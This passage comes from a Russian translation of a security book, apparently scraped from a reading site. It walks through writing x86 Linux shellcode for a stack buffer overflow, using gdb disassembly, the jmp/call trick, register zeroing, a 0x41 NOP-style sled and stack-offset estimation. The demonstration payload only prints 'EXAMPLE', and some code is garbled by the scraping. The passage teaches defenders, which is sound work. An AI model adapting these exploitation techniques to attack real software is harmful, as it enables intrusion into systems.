Защита от хакеров корпоративных сетей
Шрифт:
0x80481e9 <main+9>: push $0x9
0x80481eb <main+11>: push $0x808e248
0x80481f0 <main+16>: push $0x1
0x80481f2 <main+18>: call 0x804cc60 <__libc_write>Для просмотра кода функции write в ответ на приглашение утилиты введем команду disas__libc_write . Получим следующее.
(gdb) disas __libc_write
Dump of assembler code for function __libc_write:
0x804cc60 <__libc_write>: push %EBX
0x804cc61 <__libc_write+1>: mov 0x10(%ESP,1),%EDX
0x804cc65 <__libc_write+5>: mov 0xc(%ESP,1),%ECX
0x804cc69 <__libc_write+9>: mov 0x8(%ESP,1),%EBX
0x804cc6d <__libc_write+13>: mov $0x4,%EAX
0x804cc72 <__libc_write+18>: int $0x80
0x804cc74 <__libc_write+20>: pop %EBX
0x804cc75 <__libc_write+21>: cmp $0xfffff001,%EAX
0x804cc7a <__libc_write+26>: jae 0x8052bb0 <__syscall_error>
0x804cc80 <__libc_write+32>: ret
End of assembler dump.Начальная
0x804cc6d <__libc_write+13>: mov $0x4,%EAX 0x804cc72 <__libc_write+18>: int $0x80
Подведем итоги. Теперь известно, что функции write передается три параметра: длина записываемых данных, адрес строки источника, из которой переписываются данные, и адресат записи – дескриптор файла. Также теперь известно, что длина строки, в данном случае 9 байт, передается через регистр EDX, адрес строки записываемых данных через регистр ECX и дескриптор файла должен быть передан через регистр EBX. Таким образом, простой код вызова функции write без обработки ошибок выглядит следующим образом:
mov $0x9,%EDX
mov 0x808e248,%ECX
mov $0x1,%EBX
mov $0x4,%EAX
int $0x80Зная ассемблерный вид вызова функции write, можно приступить к написанию управляющего кода (shellcode). Единственная сложность заключается во второй команде mov 0x808e248,%ECX с явно заданным адресом памяти. Проблема состоит в том, что нельзя прочитать из строки данные, не зная ее адрес, но нельзя узнать адрес строки, пока она не будет загружена в память. Для ее разрешения применима последовательность команд jmp/call. Найденное решение основано на алгоритме работы команды call: по команде call в стек записывается адрес следующей команды. Поэтому выход из трудного положения может быть следующим:
jump <string>
code:
pop %ECX
string:
call <code>
“our string\n”По команде call в стек записывается адрес следующей команды и выполняется переход по указанной метке. На самом деле в стек загружается адрес строки, но для выполнения команды это безразлично. В результате на вершине стека оказывается адрес строки string\n. После перехода на метку code выполняется команда pop %ECX. Команда pop переписывает в заданный регистр данные с вершины стека. В данном случае в регистр ECX записывается адрес строки string\n. Осталось только для правильной работы программы очистить (обнулить) регистры от посторонних данных. Очистка регистров выполняется командами операция исключающее ИЛИxor или вычитания sub. Лучше использовать команду xor, потому что команда xor всегда обнуляет регистр и транслируется в быстрый компактный код. В системных вызовах для передачи параметров используются младшие байты регистров, поэтому обнуление регистров гарантирует правильную передачу параметров. В итоге фрагмент программы приобрел следующий вид:
jump string
code:
pop %ECX
xor %EBX, %EBX
xor %EDX, %EDX
xor %EAX, %EAX
mov $0x9,%EDX
mov $0x1,%EBX
mov $0x4,%EAX
int $0x80
string:
call code
“EXAMPLE\n”После завершения работы над фрагментом управляющего кода следует решить вопрос о передачи ему управления из программы переполнения буфера. Для этого нужно подменить сохраненное в стеке значение регистра EIP на адрес управляющего кода. Когда функция bof уязвимой программы попытается вернуться в функцию main по
При помощи функции fread данные из файла считываются в размещенный в стеке восьмибайтовый буфер buffer. Известно, что программный код полезной нагрузки в конечном счете будет загружен из файла в стек. В UNIX-подобных системах во всех программах стек начинается с одного и того же адреса. Поэтому последнее, что осталось сделать, – это написать программу определения смещения области размещения программного кода полезной нагрузки в стеке относительно его начала.
Перед завершением своей работы функция передает вызвавшей ее программе код возврата в регистре EAX, чтобы та знала об успешном или неуспешном выполнении функции. Чтобы узнать ассемблерную реализацию фрагмента программы, отвечающего за передачу кода завершения, оттранслируем и дизассемблируем следующую программу:$ cat ret.c
int main
{
return(0);
}
$ gcc ret.c -o ret
$ gdb ./ret
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>: push %EBP
0x8048431 <main+1>: mov %ESP,%EBP
0x8048433 <main+3>: mov $0x0,%EAX <– here it is :)
0x8048438 <main+8>: pop %EBP
0x8048439 <main+9>: ret
0x804843a <main+10>: mov %ESI,%ESI
0x804843c <main+12>: nop
0x804843d <main+13>: nop
0x804843e <main+14>: nop
0x804843f <main+15>: nop
End of assembler dump.
(gdb)Далее, вместо выполнения оператора возврата return (значение) пропустим его и перепишем значение ESP в регистр EAX. Таким способом значение регистра ESP может быть назначено переменной. Вот пример программы, отображающей содержимое регистра ESP:
–get_ESP.c–
unsigned long get_ESP(void)
{
__asm__(“movl %ESP,%EAX”);
}
int main
{
printf(“ESP: 0x%x\n”, get_ESP);
return(0);
}
–get_ESP.c–Можно ли теперь, зная адрес начала стека, точно определить в нем место размещения управляющего кода? Нет, нельзя!
Но для разумной оценки адреса области размещения управляющего кода можно увеличить ее размер способом, аналогичным способу последовательности команд nop. В начале работы программы все регистры были очищены командами xor, поэтому в качестве заполнителя буфера можно воспользоваться одной из команд работы с регистром, которая не окажет влияния на работу программы. Например, команда inc 0 %>EAX, машинный код представляется шестнадцатеричным байтом 0x41, увеличивает значение регистра EAX на единицу. В управляющем коде регистр EAX перед использованием обнуляется. Поэтому при размещении перед первой командой jmp команд inc %EAX управляющий код будет прекрасно работать. В действительности в управляющем коде можно разметить столько команд inc %EAX, сколько захотим. В данном случае команда inc %EAX эквивалентна команде nop. Поэтому выберем размер управляющего кода равным 1000 байт и заполним его символами 0x41, другими словами, командой inc%EAX.
Определенная в программе переполнения буфера символическая константа OFFSET – предполагаемое смещение области размещения управляющего кода в стеке. В программе ему присвоено символическое значение ESP+1500.
Вот так в конечном счете выглядят управляющий код и программа переполнения:#include <stdlib.h>
#include <stdio.h>
/***** Shellcode dev with GCC *****/
int main {
__asm__(”
jmp string # jump down to <string:>Это команды, с которых фактически начинается программный код полезной нагрузки. Сначала обнуляются используемые в программе регистры, чтобы находящиеся в них данные не повлияли на работу управляющего кода:
xor %EBX, %EBX
xor %EDX, %EDX
xor %EAX, %EAX
# Now we are going to set up a call to the
write
#function. What we are doing is basically:
# write(1,EXAMPLE!\n,9);
# Syscall reference: /usr/include/asm/unistd.h
#
# write : syscall 4
#Почти всем системным вызовам Linux параметры передаются через регистры. Параметры системного вызова <write> передаются через следующие регистры:
• ECX: адрес записываемых данных;
• EBX: дескриптор файла, в рассматриваемом случае используется дескриптор стандартного файла вывода stdout;
• EDX: длина записываемых данных.
Теперь в регистр EBX записывается нужный дескриптор файла. В данном случае дескриптор стандартного файла вывода stdout равен 1: